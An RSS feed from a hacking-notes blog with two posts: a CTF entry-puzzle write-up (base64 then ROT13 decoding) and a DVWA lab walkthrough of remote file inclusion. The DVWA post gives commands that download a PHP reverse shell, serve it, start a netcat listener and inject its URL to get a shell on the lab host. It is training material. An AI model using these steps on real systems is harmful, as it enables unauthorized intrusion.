<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Hacking Notes by Tamal Web]]></title><description><![CDATA[Hacking Notes by Tamal Web]]></description><link>https://hacking.tamalweb.com</link><generator>RSS for Node</generator><lastBuildDate>Wed, 08 Apr 2026 20:26:32 GMT</lastBuildDate><atom:link href="https://hacking.tamalweb.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[CTF Community Bangladesh Facebook Group Writeup]]></title><description><![CDATA[The entry challenge for the Facebook group was so remarkable that I wished to do a write-up. 
So after requesting to join, they will require a few questions to answer:

After answering these questions, your main hurdle is that CTF challenge:

So you ...]]></description><link>https://hacking.tamalweb.com/ctf-community-bangladesh-facebook-group-writeup</link><guid isPermaLink="true">https://hacking.tamalweb.com/ctf-community-bangladesh-facebook-group-writeup</guid><category><![CDATA[CTF]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Base64]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[তমাল এ চৌধুরী]]></dc:creator><pubDate>Sun, 18 Sep 2022 11:00:33 GMT</pubDate><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663492607730/vESSxO6bZ.png" alt="ctf community bangladesh.png" /></p>
<p>The entry challenge for the Facebook group was so remarkable that I wished to do a write-up. </p>
<p>So after requesting to join, they will require a few questions to answer:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663492641716/Z8Y4KfPwe.png" alt="ctf bd answers.png" /></p>
<p>After answering these questions, your main hurdle is that CTF challenge:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663492679142/CX0deJW5r.png" alt="ctf bangladesh.png" /></p>
<p>So you have to decode this encoded string of text in order to join. If you can't get the flag, they will not approve your request.</p>
<h2 id="heading-step-1-decoding-the-string">Step 1 - Decoding the string</h2>
<p>In this step you will decode this piece of string, but how do you determine the algorithm?</p>
<pre><code><span class="hljs-attr">aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2RMZWR6MnVXCg</span>==
</code></pre><p>I'm sure there are some tools out there that will tell you what format this is. But from experience I can tell, it's a <code>base64</code> encoded text.</p>
<p>A <strong>Base64</strong> number format has 64 symbols in it.</p>
<ul>
<li>10 numbers 0-9</li>
<li>26 lowercase letters a-z</li>
<li>26 uppercase letters A-Z</li>
<li>2 extra symbols <code>+</code> and <code>/</code></li>
</ul>
<p>You can see the string has a mix of upper and lower case letters, as well as letters up to <code>Z</code>. So that's the first way to identify that it's a <code>base64</code> encoded text.</p>
<p>The next obvious feature of base64 is the ending <code>==</code> part.</p>
<p>The character count of a base64 string will always be divisible by 4.</p>
<p>If there are fewer characters, the algorithm will add one, two, or three additional <code>=</code> at the end as padding.</p>
<p>So a base64 encoded string will often come with a <code>=</code>, <code>==</code>, or <code>===</code> at the end.</p>
<h3 id="heading-decoding-base64-text">Decoding base64 text</h3>
<p>To decode the text, you can take help from one of the many <a target="_blank" href="https://www.base64decode.org/">online base64 decoders</a> out there. This is what I have done for a long time.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663493749068/wnl-1UzGX.png" alt="ctf bd base64 decode.png" /></p>
<p>You can also decode from your Linux computer with the built in <code>base64</code> package.</p>
<p>Save the string into a text file called <code>ctfbangladesh.txt</code> and run this command:</p>
<pre><code><span class="hljs-selector-tag">base64</span> <span class="hljs-selector-tag">-d</span> <span class="hljs-selector-tag">ctfbangladesh</span><span class="hljs-selector-class">.txt</span>
</code></pre><p>The decoded string is a link to a pastebin site.</p>
<h2 id="heading-step-2-decoding-the-pastebin-text">Step 2 - Decoding the pastebin text</h2>
<p>In this step you will further decode the text found in the pastebin site.</p>
<p>Visit the pastebin URL you found in the last step, and you will see the following text:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663494072014/nWt8ZGRQA.png" alt="ctf bangladesh rotten foods.png" /></p>
<p>Looks like it's the flag, but the text is mixed up.</p>
<p>The hint says <strong>Rotten Food</strong>.</p>
<p>Now if you have taken any beginner-level cryptography lessons, you will know that it's some kind of <a target="_blank" href="http://practicalcryptography.com/ciphers/caesar-cipher/">Ceaser cipher</a>.</p>
<p>I have done a few basic Crypto CTFs and came across the ROT13 algorithm. For this reason, I know they are talking about the ROT algorithm. It could be ROT13 because it's the most popular one out there. </p>
<p><a target="_blank" href="https://rot13.com/">The ROT13 website</a> should help you decode the piece of string</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663494464474/Kbit-BfRH.png" alt="ctf bd rot13.png" /></p>
<p>After decoding, you will see the flag that looks like the flag format they asked for.</p>
<p>Submit this flag and hopefully, you will be granted access to this CTF group in Bangladesh.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663494568048/HqxxrekzS.png" alt="ctf bd final flag.png" /></p>
<p>That's all folks!</p>
]]></content:encoded></item><item><title><![CDATA[DVWA: Remote File Inclusion RFI Vulnerability]]></title><description><![CDATA[Damn Vulnerable Web Application Remote File Inclusion:

By adding a remote file location into the query string, it's possible to include this remote file  and open a reverse shell.

http://dvwa.example.com/vulnerabilities/fi/?page=http://127.0.0.1:80...]]></description><link>https://hacking.tamalweb.com/dvwa-remote-file-inclusion-rfi-vulnerability</link><guid isPermaLink="true">https://hacking.tamalweb.com/dvwa-remote-file-inclusion-rfi-vulnerability</guid><category><![CDATA[DVWA]]></category><category><![CDATA[CTF]]></category><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[তমাল এ চৌধুরী]]></dc:creator><pubDate>Sat, 17 Sep 2022 19:50:56 GMT</pubDate><content:encoded><![CDATA[<p><strong>Damn Vulnerable Web Application Remote File Inclusion:
</strong>
By adding a remote file location into the query string, it's possible to include this remote file  and open a reverse shell.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663443820751/Ro_CsECds.png" alt="image.png" /></p>
<pre><code><span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/dvwa.example.com/vulnerabilities</span><span class="hljs-regexp">/fi/</span>?page=<span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/127.0.0.1:8000/shell</span>.php
</code></pre><p>^Here <code>http://dvwa.example.com</code> is the local web URL I configured into my <code>/etc/hosts</code> configuration file. For you, it maybe something else, so change that part.</p>
<h3 id="heading-step-1-download-the-shell-script">Step #1 Download the shell script</h3>
<p>Here you will download a basic reverse shell PHP script. Found one <a target="_blank" href="https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php">doing a Google search</a>:</p>
<p><code>wget</code> the file into desktop for now,</p>
<pre><code>wget https://raw.githubusercontent.com/pentestmonkey/php-<span class="hljs-keyword">reverse</span>-shell/master/php-<span class="hljs-keyword">reverse</span>-shell.php
</code></pre><p>Rename the file to make it easy to reference:</p>
<pre><code>mv php<span class="hljs-operator">-</span>reverse<span class="hljs-operator">-</span>shell.php shell.php
</code></pre><p>Make a note of the <code>$port</code> and <code>$ip</code> of the <code>shell.php</code> file. For now, it's okay to leave them default to <code>1234</code> because we'll do everything locally now.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663443584179/dAxAz2txF.png" alt="image.png" /></p>
<h3 id="heading-step-2-create-a-python-server">Step #2 Create a Python Server</h3>
<p>In this step, you will create a Python server to host the remote shell file.</p>
<p>The following code creates a Python server on port <code>8000</code>. Make sure to run this server in the same directory where you saved the <code>shell.php</code> file.</p>
<pre><code class="lang-py">python3 -m http.server <span class="hljs-number">8000</span>
</code></pre>
<p>Now if you go to <code>http://127.0.0.1:8000/</code> you will see the <code>shell.php</code> which you will include in the next step.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663442603460/Wzg3Pm3X1.png" alt="image.png" /></p>
<h3 id="heading-step-3-get-the-reverse-shell">Step #3 Get the Reverse Shell</h3>
<p>In this step, you will create a new server for the reverse shell connection. </p>
<p>Run the following <strong>NetCat</strong> command to spin up a new server on port <code>1234</code>:</p>
<pre><code class="lang-sh">nc -nvlp 1234
</code></pre>
<p>The port <code>1234</code> is the same port that was specified in the <code>shell.php</code> file. When you will do the remote file inclusion, the script in the <code>shell.php</code> will instruct the system to create a new shell and mirror all the input and output to this server.</p>
<p>For the time being, we will call this the NetCat server.</p>
<h4 id="heading-include-the-remote-file">Include The Remote File</h4>
<p>Add the public URL of the <code>shell.php</code> into the end of the query string and visit the page to establish a reverse shell connection:</p>
<pre><code><span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/dvwa.example.com/vulnerabilities</span><span class="hljs-regexp">/fi/</span>?page=<span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/127.0.0.1:8000/shell</span>.php
</code></pre><p>Now come back to your <strong>NetCat</strong> server, and you will see the <code>$</code> to indicate that you have successfully established a reverse shell.</p>
<p>You can now enter and browse the file system using the new shell.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663443414820/Csk5qRthW.png" alt="image.png" /></p>
<p>After getting a reverse shell, the next step would be to do privilege escalation for further exploitation.</p>
<h2 id="heading-credits">Credits:</h2>
<ul>
<li><a target="_blank" href="https://www.youtube.com/watch?v=KY58WcX7OZ4">CryptoCat on DVWA LFI/RFI Walkthrough</a></li>
</ul>
]]></content:encoded></item></channel></rss>